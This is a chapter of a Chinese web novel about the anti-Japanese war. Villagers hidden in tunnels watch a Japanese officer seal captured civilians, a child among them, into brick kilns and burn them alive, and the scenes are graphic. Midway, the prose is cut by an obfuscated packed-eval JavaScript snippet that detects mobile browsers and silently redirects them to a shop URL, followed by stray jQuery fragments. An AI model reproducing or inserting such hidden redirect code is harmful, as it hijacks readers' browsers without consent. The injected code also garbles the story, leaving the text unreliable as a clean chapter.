第328章 烧窑
作品:《一个人的长征》 话是这么说,但等待,永远比死亡更漫长的煎熬。
而对于藏身在大柳树村地道里的民兵、战士们,以及三百多口村民来说,这三天,每一分每一秒都在油锅里煎着。
大柳树村,是陈墨在地图上画下的、最重要的一个“捕兽夹”。
这里的地道是所有“堡垒村”里,挖得最深、最复杂,也是战斗设施最完备的。
一连连长王平,是个打起仗来不要命的猛将,也是个心思细密的好手。
他带着全连的战士和村里的民兵,几乎是把陈墨的图纸,原封不动地,搬到了地下。
三天前,日军的扫荡部队,开进了大柳树村。
和在赵家庄一样,他们看到了一座空村。
没有鸡鸣,没有狗叫。
家家户户,门窗大开,锅台是冷的,水缸是空的,连一粒米,一根咸菜干都找不到。
带队的日军中尉,名叫坂田信哲,是个刚从陆军士官学校毕业不久的年轻人。
他的脸上,还带着一丝未脱的稚气。
但眼神里却燃烧着一种被“武士道”精神熏陶出来,那种狂热而又偏执的火焰。
他对自己部队的“扫荡”效率,感到非常不满。
连续三天,他们“清剿”了五个村庄,烧毁了上百间房屋,杀死的,却只有一些来不及逃走的老弱病残和几条土狗。
八路军的主力就像空气一样,消失了。
这种一拳打在棉花上的感觉,让他感到一种莫名的、被戏耍般的烦躁和羞辱。
而今天这群小鬼子又回到了这里。
“八嘎!”
坂田信哲一脚踹开一户村民家的院门,看着空空如也的院子,愤怒地咒骂着。
“这些该死的**猪!他们都躲到哪里去了?!”
一个跟在他身边的伪军翻译官,连忙凑上前,谄媚地笑着。
“太君,您别生气。这帮土八路,比地老鼠还能藏。不过,他们总得喘气吧?总得出来找吃的吧?只要我们把这里围**,不出三天,他们自己就得乖乖地,从洞里爬出来。”
坂田信哲冷哼了一声。
他没有那么好的耐心,目光在空无一人的村庄里,来回地扫视着。
最后,停在了村东头,那几座高大的、用来烧制砖瓦的土窑上。
一个恶毒的念头,在他的脑海里,如同毒蛇般升了起来。
“去。”
坂田信哲对身边的士兵,下达了命令。
“把我们在路上抓到的那些人,都给我带过来。”
而此刻地道里,一连连长王平,正通过一个伪装成墙角裂缝的观察孔,死死地盯着外面。
他看到了坂田信哲脸上,那不耐烦和残忍的表情。
一种不祥的预感,攥住了他的心。
很快他就知道,自己的预感应验了。
一队日本兵,押着一群衣衫褴褛的中国人,从村口走了过来。
那群中国人,有男有女,有老有少,大约有二三十人。
他们的手都被绳子反绑在身后,像一群被牵往屠宰场的牲口。
显然是附近几个村子,没来得及躲藏,被日军抓到的普通百姓。
地道里,所有通过观察孔看到这一幕的战士和村民,都把心提到了嗓子眼。
“鬼子要干什么?”
“他们要把那些人怎么样?”
在众人惊恐的注视下,日本兵将那些百姓粗暴地,推搡到了那几座高大的砖窑前。
坂田信哲拔出了他的指挥刀。
他用刀尖,指着其中一个看起来像是读过书的中年男人,通过翻译,冷冷地问道:“告诉我,八路,在哪里?”
那个中年男人,虽然吓得浑身发抖,但还是挺直了腰杆,朝着坂田,狠狠地啐了一口带血的唾沫。
“我呸!你个**的东洋杂碎!有本事,就杀了你爷爷!想从我嘴里知道八路的消息,做**清秋大梦!”
坂田的脸上没有丝毫的愤怒。
他甚至还笑了。
那笑容看得人遍体生寒。
“很好。”
他点了点头,对身边的士兵挥了挥手。
“把他和他的一家,都给我塞进窑里去。”
命令下达,几个日本兵立刻如狼似虎地扑了上去。
他们从人群中拖出那个中年男人,还有他的妻子,和他那个看起来不过七八岁的女儿。
“放开我!放开我女儿!”
男人疯狂地挣扎着,嘶吼着。
他的妻子则抱着女儿,发出凄厉的、绝望的哭喊。
但这一切都是徒劳的。
他们一家三口,被几个身强力壮的日本兵,硬生生地拖到了一个砖窑的门口。
然后,被一脚踹了进去。
紧接着,日本兵又从外面搬来砖石和烂泥,开始封堵那个唯一的窑门。
“不——!!!”
地道里一个年轻的战士,亲眼看着这一幕,再也忍不住,发出一声悲愤欲绝的怒吼!
他旁边的老兵,眼疾手快,一把死死地捂住了他的嘴!
“你疯了?!想害死我们所有人吗?!”
老兵压低了声音,怒骂道。
年轻战士的身体,剧烈地颤抖着。
眼泪像断了线的珠子,从他的眼眶里滚落下来。
他的指甲,因为用力深深地掐进了老兵的手臂里,掐出了血。
地面上,坂田的脸上依旧带着那种恶魔般的微笑。
他侧耳听了听。
村子里依旧是死一般的寂静。
“看来,他们很能沉得住气。”
坂田信哲自言自语道。
然后,又指向了人群中另一个白发苍苍的老人。
“下一个,他。”
一个又一个的家庭,在绝望的哭喊和咒骂声中,被强行分离。
然后,被塞进了那些冰冷的、如同地狱入口般的砖窑里。
很快所有的砖窑,都被塞满了人。
窑门也被一一封死。
坂田信哲走到一个砖窑前,他能清晰地听到,里面传来的人们因为恐惧而发出的、密集的哭喊声和拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752446|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门声。
他脸上的笑容更盛了。
对着身旁的士兵,下达了最后一个也是最残忍的命令。
“在窑底下,生火。”
士兵们没有丝毫的犹豫。
他们将早就准备好的、浸透了煤油的柴草,堆在了每一个砖窑下方的火膛里。
然后,一个日本兵划着一根火柴,狞笑着扔了进去。
“呼——”
大火轰然燃起!
烈焰开始疯狂地,舔舐着窑炉的底部。
砖窑迅速地升温。
“啊——!!!!”
“救命啊——!!!”
“魔鬼!你们是魔鬼!!!”
“小鬼子,**祖宗!”
无法用语言形容的、凄厉到极致的惨叫声,从那些被封死的砖窑里,传了出来!
那声音不像是人能发出的,更像是无数的冤魂,在地狱的油锅里,所发出的、最痛苦的哀嚎。
地道里。
所有的人都听到了那声音。
每一个人的身体,都在不受控制地,剧烈颤抖。
脸色惨白如纸,眼睛里都布满了血丝。
他们的牙齿将自己的嘴唇,都咬得血肉模糊。
几个年轻的战士,再也承受不住这种精神上的酷刑,捂着耳朵,发出了野兽般的、压抑的呜咽。
几个上了年纪的村民,直接就昏**过去。
连长王平靠着冰冷的土壁,缓缓地,滑坐在地。
他的手里,死死地握着那支驳壳枪,眼睛空洞地,望着黑暗的深处。
两行滚烫的、混合着**和仇恨的泪水,从他那张饱经风霜的、钢铁般的脸上,无声地,滑落了下来。
王平知道,地面上那些正在被活活烧死的人里面,有他的邻居,也有看着他长大的叔伯……
他能听见他们在哭喊,在求救。
而且离他们只有不到几十米的距离。
但他却什么都不能做。
只能像一个懦夫一样,躲在这冰冷的、黑暗的地底下,听着。
听着自己的同胞,被敌人用最残忍的方式,活活地烧死。
这种无能为力的、眼睁睁看着惨剧发生却无计可施的痛苦,比任何刀砍斧劈,都更要凌迟人心。
“杀……”
王平的嘴里无意识地,反复咀嚼着这个字。
他的眼神里没有了愤怒,没有了悲伤。
只剩下了一片,如同死灰般的、无边无际的平静。
但王平也知道,现在日军的队伍还没有完全散开,若现杀出去,是有可能救下外面的乡亲,杀死几个鬼子,但代价呢?
他们的位置暴露,日军还未分散的队伍会马上汇合,进行围剿,地道里的人凶多吉少。
现在他们只能做的是,和其他所有幸存的人一样,都在等。
等那个能让他们将这片土地上,所有的仇恨和**,都加倍奉还的信号。
而那个信号在此刻,似乎又变得无比的遥远。
因为,他们要先学会如何在这炼狱般的煎熬中,活下去。

